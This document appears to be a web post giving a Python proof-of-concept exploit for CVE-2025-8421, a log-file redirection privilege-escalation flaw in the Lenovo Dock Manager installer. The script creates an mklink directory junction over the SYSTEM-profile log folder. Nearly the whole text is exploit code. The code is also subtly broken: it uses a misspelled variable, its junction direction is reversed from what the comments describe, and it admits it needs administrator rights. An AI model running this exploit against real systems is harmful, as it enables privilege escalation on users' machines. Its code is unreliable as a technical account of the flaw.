CVE-2025-8421: Lenovo Dock Manager安装时日志文件重定向权限提升漏洞

# CVE-2025-8421 PoC - Lenovo Dock Manager Log File Redirection # This PoC demonstrates the log file redirection vulnerability import os import sys import subprocess import time def create_symlink_junction(target_path, link_path): """Create a directory junction for log redirection""" try: if os.path.exists(link_path): os.rmdir(link_path) # Use mklink /J for directory junction subprocess.run(['cmd.exe', '/c', 'mklink', '/J', link_path, target_path], check=True, capture_output=True) print(f"[+] Created junction: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create junction: {e}") return False def check_dock_manager_installed(): """Check if Lenovo Dock Manager is installed""" install_paths = [ r'C:\Program Files\Lenovo\Dock Manager\DockManager.exe', r'C:\Program Files (x86)\Lenovo\Dock Manager\DockManager.exe' ] for path in install_paths: if os.path.exists(path): return True return False def main(): print("CVE-2025-8421 - Lenovo Dock Manager Log File Redirection PoC") print("=" * 60) if not check_dock_manager_installed(): print("[-] Lenovo Dock Manager not found on this system") return # Target paths for log redirection target_dir = r'C:\Windows\System32\config\systemprofile\AppData\Local\Lenovo\DockManager\Logs' malicious_dir = r'C:\Windows\Temp\malicious_logs' # Create malicious directory os.makedirs(malicious_dir, exist_ok=True) # Create junction to redirect logs if create_symlink_junction(micious_dir, target_dir): print("[+] Junction created successfully") print(f"[+] Any log files written by Dock Manager will be redirected to: {malicious_dir}") print("[+] This could allow writing to privileged locations") else: print("[-] Exploitation requires administrator privileges for junction creation") if __name__ == "__main__": main()